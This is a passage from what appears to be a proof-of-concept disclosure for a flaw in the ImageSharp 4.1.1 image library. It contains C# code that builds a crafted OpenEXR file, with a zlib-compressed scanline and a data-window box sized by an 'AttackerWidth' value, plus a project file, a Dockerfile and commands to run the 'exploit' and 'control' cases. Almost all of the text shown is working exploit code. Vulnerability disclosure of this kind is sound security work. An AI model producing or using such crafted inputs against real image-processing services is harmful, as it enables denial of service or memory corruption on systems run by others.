Details
writer.Write((uint)0); // scanline
writer.Write((uint)compressed.Length);
writer.Write(compressed);
writer.Flush();
return output.ToArray();
}
private static void WriteBox(BinaryWriter writer, string name)
{
using var value = new MemoryStream();
using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))
{
box.Write(0);
box.Write(0);
box.Write(AttackerWidth - 1);
box.Write(0);
}
WriteAttribute(writer, name, "box2i", value.ToArray());
}
private static byte[] ZlibCompress(byte[] source)
{
using var compressed = new MemoryStream();
using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))
{
zlib.Write(source, 0, source.Length);
}
return compressed.ToArray();
}
private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)
{
WriteString(writer, name);
WriteString(writer, type);
writer.Write(value.Length);
writer.Write(value);
}
private static void WriteString(BinaryWriter writer, string value)
{
writer.Write(Encoding.ASCII.GetBytes(value));
writer.Write((byte)0);
}
}
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" />
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /poc
COPY final-4q3p.csproj Program.cs ./
# Debug is intentional: ImageSharp 4.1.1's package build target reports a
# missing-license warning rather than an error in this configuration. The
# program is still compiled against the published 4.1.1 NuGet assembly.
RUN dotnet restore && dotnet build -c Debug --no-restore
ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]
Run:
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control